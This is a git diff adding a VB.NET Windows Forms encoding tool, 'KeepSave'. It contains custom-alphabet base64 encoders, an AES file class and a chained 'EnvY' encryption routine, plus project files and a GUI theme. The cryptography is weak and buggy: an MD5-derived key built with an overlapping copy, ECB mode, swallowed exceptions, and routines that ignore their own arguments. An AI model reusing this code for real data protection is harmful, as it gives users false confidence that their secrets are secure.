Dim keyatom As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = keyatom.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "HAZZ 15" + Public Function HAZZ15_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function HAZZ15_Decode(ByVal input As String) As String + Dim key As String = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "GILA 7" + Public Function GILA7_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "7ZSTJK+W=cVtBCasyf0gzA8uvwDEq3XH/1RMNOILPQU4klm65YbdeFrx2hij9nopG" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function GILA7_Decode(ByVal input As String) As String + Dim key As String = "7ZSTJK+W=cVtBCasyf0gzA8uvwDEq3XH/1RMNOILPQU4klm65YbdeFrx2hij9nopG" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "ESAB 46" + Public Function ESAB46_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "ABCDqrs456tuvNOPwxyz012KLM3789=+QRSTUVWXYZabcdefghijklmnopEFGHIJ/" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function ESAB46_Decode(ByVal input As String) As String + Dim key As String = "ABCDqrs456tuvNOPwxyz012KLM3789=+QRSTUVWXYZabcdefghijklmnopEFGHIJ/" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "Megan 35" + Public Function MEGAN35_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function MEGAN35_Decode(ByVal input As String) As String + Dim key As String = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "Zong 22" + Public Function ZONG22_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function ZONG22_Decode(ByVal input As String) As String + Dim key As String = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "AESFILE" + Public Class AESFile + Public Shared Function AESFile_Encrypt(ByVal input As Byte(), ByVal pass As String) As Byte() + Dim AES As New System.Security.Cryptography.RijndaelManaged + Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim Encrypted As Byte() + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESEncrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateEncryptor + Dim buffer As Byte() = input + Encrypted = DESEncrypter.TransformFinalBlock(buffer, 0, buffer.Length) + Return Encrypted + Catch ex As Exception + End Try + End Function + Public Shared Function AESFile_Decrypt(ByVal input As Byte(), ByVal pass As String) As Byte() + Dim AES As New System.Security.Cryptography.RijndaelManaged + Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As Byte() + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor + Dim Buffer As Byte() = input + decrypted = DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length) + Return decrypted + Catch ex As Exception + End Try + End Function + End Class +#End Region +#Region "TIGO3FX" + Public Function TIGO3FX_Encode(ByVal input As String) As String + input = Uri.EscapeDataString(input) + Dim key As String = "FrsxyzA8VtuvwDEqWZ/1+4klm67=cBCa5Ybdef0g2hij9nopMNO3GHIRSTJKLPQUX" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs As Integer() = {0, 0, 0} + For b As Integer = 0 To 2 + If i < input.Length Then chrs(b) = Asc(input(i)) + i += 1 + Next + enc(0) = chrs(0) >> 2 + enc(1) = ((chrs(0) And 3) << 4) Or (chrs(1) >> 4) + enc(2) = ((chrs(1) And 15) << 2) Or (chrs(2) >> 6) + enc(3) = chrs(2) And 63 + If chrs(1) = 0 Then + enc(2) = 64 + enc(3) = 64 + End If + If chrs(2) = 0 Then + enc(3) = 64 + End If + For Each x As Integer In enc + out.Append(key(x)) + Next + Loop While i < input.Length + Return out.ToString + End Function + Public Function TIGO3FX_Decode(ByVal input As String) As String + Dim key As String = "FrsxyzA8VtuvwDEqWZ/1+4klm67=cBCa5Ybdef0g2hij9nopMNO3GHIRSTJKLPQUX" + Dim out As New System.Text.StringBuilder + Dim i As Integer + Do + Dim enc(3) As Integer + Dim chrs() As Integer = {0, 0, 0} + For b As Integer = 0 To 3 + enc(b) = key.IndexOf(input(i)) + i = i + 1 + Next + chrs(0) = (enc(0) << 2) Or (enc(1) >> 4) + chrs(1) = (enc(1) And 15) << 4 Or (enc(2) >> 2) + chrs(2) = (enc(2) And 3) << 6 Or enc(3) + out.Append(Chr(chrs(0))) + If enc(2) <> 64 Then out.Append(Chr(chrs(1))) + If enc(3) <> 64 Then out.Append(Chr(chrs(2))) + Loop While i < input.Length + Return out.ToString + End Function +#End Region +#Region "EnvY'S Encryption" + Public Function EnvY_Encrypt(ByVal input As String, ByVal pass As String) As String + Dim out As String + input = LogInUserTextBox1.Text + out = AES_Encrypt(input, Key) + out = RC2_Encrypt(out, Key) + out = XOR_Encrypt(out, Key) + out = ESAB46_Encode(out) + Return out.ToString + End Function + Public Function EnvY_Decrypt(ByVal input As String, ByVal pass As String) As String + Dim out As String + input = LogInUserTextBox1.Text + out = ESAB46_Decode(input) + out = XOR_Decrypt(out, Key) + out = RC2_Decrypt(out, Key) + out = AES_Decrypt(out, Key) + Return out.ToString + End Function + + Private Sub LogInButton6_Click(sender As Object, e As EventArgs) Handles LogInButton6.Click + My.Computer.Clipboard.SetText(LogInUserTextBox1.Text) + End Sub + + Private Sub LogInButton9_Click(sender As Object, e As EventArgs) Handles LogInButton9.Click + My.Computer.Clipboard.SetText(LogInUserTextBox2.Text) + End Sub + + Private Sub LogInButton7_Click(sender As Object, e As EventArgs) Handles LogInButton7.Click + LogInUserTextBox1.Text = LogInUserTextBox2.Text + End Sub + + Private Sub LogInButton8_Click(sender As Object, e As EventArgs) Handles LogInButton8.Click + LogInUserTextBox2.Text = LogInUserTextBox1.Text + End Sub +#End Region +#End Region +End Class diff --git a/scode (KeepSave/KeepSave/KeepSave.vbproj b/scode (KeepSave/KeepSave/KeepSave.vbproj new file mode 100644 index 0000000..719513f --- /dev/null +++ b/scode (KeepSave/KeepSave/KeepSave.vbproj @@ -0,0 +1,135 @@ + + + + + Debug + AnyCPU + {0CA9B5B3-AC30-42C3-A49A-B6025EEFEA54} + WinExe + KeepSave.My.MyApplication + KeepSave + KeepSave + 512 + WindowsForms + v4.5.2 + true + + + AnyCPU + true + full + true + true + bin\Debug\ + KeepSave.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + KeepSave.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + Component + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (KeepSave/KeepSave/My Project/Application.Designer.vb b/scode (KeepSave/KeepSave/My Project/Application.Designer.vb new file mode 100644 index 0000000..0bc343a --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.KeepSave.Form1 + End Sub + End Class +End Namespace diff --git a/scode (KeepSave/KeepSave/My Project/Application.myapp b/scode (KeepSave/KeepSave/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (KeepSave/KeepSave/My Project/AssemblyInfo.vb b/scode (KeepSave/KeepSave/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..8e27c6d --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (KeepSave/KeepSave/My Project/Resources.Designer.vb b/scode (KeepSave/KeepSave/My Project/Resources.Designer.vb new file mode 100644 index 0000000..4a41383 --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("KeepSave.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Drawing.Bitmap. + ''' + Friend ReadOnly Property Loo() As System.Drawing.Bitmap + Get + Dim obj As Object = ResourceManager.GetObject("Loo", resourceCulture) + Return CType(obj,System.Drawing.Bitmap) + End Get + End Property + End Module +End Namespace diff --git a/scode (KeepSave/KeepSave/My Project/Resources.resx b/scode (KeepSave/KeepSave/My Project/Resources.resx new file mode 100644 index 0000000..b42bf32 --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Loo.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/scode (KeepSave/KeepSave/My Project/Settings.Designer.vb b/scode (KeepSave/KeepSave/My Project/Settings.Designer.vb new file mode 100644 index 0000000..e746a8b --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.KeepSave.My.MySettings + Get + Return Global.KeepSave.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (KeepSave/KeepSave/My Project/Settings.settings b/scode (KeepSave/KeepSave/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (KeepSave/KeepSave/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (KeepSave/KeepSave/Resources/Loo.png b/scode (KeepSave/KeepSave/Resources/Loo.png new file mode 100644 index 0000000..436b090 Binary files /dev/null and b/scode (KeepSave/KeepSave/Resources/Loo.png differ diff --git a/scode (KeepSave/KeepSave/Theme.vb b/scode (KeepSave/KeepSave/Theme.vb new file mode 100644 index 0000000..fed051c --- /dev/null +++ b/scode (KeepSave/KeepSave/Theme.vb @@ -0,0 +1,5750 @@ +Option Strict On + +Imports System.Drawing.Text +Imports System.Drawing.Drawing2D +Imports System.ComponentModel + +'' DO NOT REMOVE CREDITS! IF YOU USE PLEASE CREDIT! '' + +''' +''' LogIn GDI+ Theme +''' Creator: Xertz (HF) +''' Version: 1.4 +''' Control Count: 28 +''' Date Created: 18/12/2013 +''' Date Changed: 07/09/2014 +''' UID: 1602992 +''' For any bugs / errors, PM me. +''' +''' + +Module DrawHelpers + +#Region "Functions" + + Public Function RoundRectangle(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath + Dim P As GraphicsPath = New GraphicsPath() + Dim ArcRectangleWidth As Integer = Curve * 2 + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -180, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -90, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 0, 90) + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 90, 90) + P.AddLine(New Point(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y), New Point(Rectangle.X, Curve + Rectangle.Y)) + Return P + End Function + + Public Function RoundRect(x!, y!, w!, h!, Optional r! = 0.3, Optional TL As Boolean = True, Optional TR As Boolean = True, Optional BR As Boolean = True, Optional BL As Boolean = True) As GraphicsPath + Dim d! = Math.Min(w, h) * r, xw = x + w, yh = y + h + RoundRect = New GraphicsPath + With RoundRect + If TL Then .AddArc(x, y, d, d, 180, 90) Else .AddLine(x, y, x, y) + If TR Then .AddArc(xw - d, y, d, d, 270, 90) Else .AddLine(xw, y, xw, y) + If BR Then .AddArc(xw - d, yh - d, d, d, 0, 90) Else .AddLine(xw, yh, xw, yh) + If BL Then .AddArc(x, yh - d, d, d, 90, 90) Else .AddLine(x, yh, x, yh) + .CloseFigure() + End With + End Function + + Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 + End Enum + +#End Region + +End Module + +Public Class LogInThemeContainer + Inherits ContainerControl + +#Region "Declarations" + Private _CloseChoice As __CloseChoice = __CloseChoice.Form + Private _FontSize As Integer = 12 + Private ReadOnly _Font As Font = New Font("Segoe UI", _FontSize) + Private MouseXLoc As Integer + Private MouseYLoc As Integer + Private CaptureMovement As Boolean = False + Private Const MoveHeight As Integer = 35 + Private MouseP As Point = New Point(0, 0) + Private _FontColour As Color = Color.FromArgb(255, 255, 255) + Private _BaseColour As Color = Color.FromArgb(35, 35, 35) + Private _ContainerColour As Color = Color.FromArgb(54, 54, 54) + Private _BorderColour As Color = Color.FromArgb(60, 60, 60) + Private _HoverColour As Color = Color.FromArgb(42, 42, 42) +#End Region + +#Region "Size Handling" + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private Frame As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, 35) + End If + + Invalidate() + + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region "State Handling" + + Private State As MouseState = MouseState.None + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + MyBase.OnMouseMove(e) + SetState(MouseState.Over) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + MyBase.OnMouseLeave(e) + End Sub + + Private GetMouseLocation As Point + Private OldSize As Size + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then SetState(MouseState.Down) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Frame.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + GetMouseLocation = PointToClient(MousePosition) + If GetMouseLocation.X > Width - 39 AndAlso GetMouseLocation.X < Width - 16 AndAlso GetMouseLocation.Y < 22 Then + If _AllowClose Then + If _CloseChoice = __CloseChoice.Application Then + Environment.Exit(0) + Else + ParentForm.Close() + End If + End If + ElseIf GetMouseLocation.X > Width - 64 AndAlso GetMouseLocation.X < Width - 41 AndAlso GetMouseLocation.Y < 22 Then + If _AllowMaximize Then + Select Case FindForm.WindowState + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Normal + Case FormWindowState.Normal + OldSize = Size + FindForm.WindowState = FormWindowState.Maximized + End Select + End If + ElseIf GetMouseLocation.X > Width - 89 AndAlso GetMouseLocation.X < Width - 66 AndAlso GetMouseLocation.Y < 22 Then + If _AllowMinimize Then + Select Case FindForm.WindowState + Case FormWindowState.Normal + OldSize = Size + FindForm.WindowState = FormWindowState.Minimized + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Minimized + End Select + End If + End If + MyBase.OnMouseDown(e) + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetMouseIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 6 + B2 = GetIndexPoint.X > Width - 6 + B3 = GetIndexPoint.Y < 6 + B4 = GetIndexPoint.Y 